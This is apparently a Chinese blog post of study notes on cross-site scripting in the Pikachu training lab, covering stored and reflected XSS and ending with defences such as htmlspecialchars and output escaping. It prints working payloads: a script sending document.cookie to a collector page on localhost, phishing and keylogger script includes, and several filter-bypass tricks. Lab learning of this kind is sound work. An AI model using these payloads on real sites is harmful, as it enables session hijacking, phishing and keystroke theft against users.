Cyber Security-Day20(靶场练习之XSS)

存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS。

 

·XSS漏洞测试:cookie的窃取和利用

pkxss后台: http://localhost/pkxss/pkxss_1ogin.php <script>document.Location='http://localhost/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script> http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%2Fpkxss%2Fxcookies2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

 ·XSS漏洞测试:钓龟攻击

 <img src="http://localhost/pikachu/pkxss/xfish/xfish.php"/> <script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>

·XSS漏洞测试:xss获取键盘记录

首先要搞清跨域和同源策略:

 

 

 

 

<script src="http://127.0.0.1/pkxss/rkeypress/rk.js"></script>

XSS盲打:

前端看不到,但是后台以及管理员可以看到,可以通过钓鱼或者链接跳转获取cookie并转发。

XSS绕过:

0,前端限制绕过,直接抓包重放,或者修改html前端代码 1.,大小写,比如:<SCRIPT>aLeRT(111)</SCRIpt> 2,拼凑:<scri<script>pt>alert(111)</scri</script>pt> 3,使用注释进行干扰:<scri<!--test-->pt>alert(111)</sc<!--test-->ript>

核心思路: 后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定会过滤当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行.

如果针对script 就是用 <img src=x onerror="alert(11)"> 或者 javascript:alert(111)

如果对<>过滤就使用HTML编码

htmlspecialchars()函数把预定义的字符转预定义的字符是: &(和号)成为&amp

”(双引号)成为&quot

’(单引号)成为&#039

<(小于)成为&&lt

>(大于)成为&gt

可用的引号类型: ENT_COMPAT-默认。仅编码双引号。 ENT_QUOTES-编码双引号和单引号。 ENT_NOQUOTES-不编码任何引号。

 

 

 XSS常见防范措施

总的原则:输入做过滤,输出做转义

·过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。 ·转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行js转义。

//输出在a标签的href属性里面,可以使用javascript协议来执行js //防御:只允许http,httpl,其次在进行htmlspecialchars处理

<script>

$ms='111111'</script><script>alert(1111)</script>'';

if($ms.length != 0){

if($ms == 'tmac'){

$('#fromjs').text('tmac确实厉害,看那小眼神..')

}else {

// alert($ms);

$('#fromjs').text('无论如何不要放弃心中所爱..')

}

}

</script>

js使用'</script><script>alert(1111)</script>来闭合

js预防手段:使用\对特殊字符进行转义

posted @ 2022-07-26 22:10  Arrest  阅读(23)  评论(0编辑  收藏  举报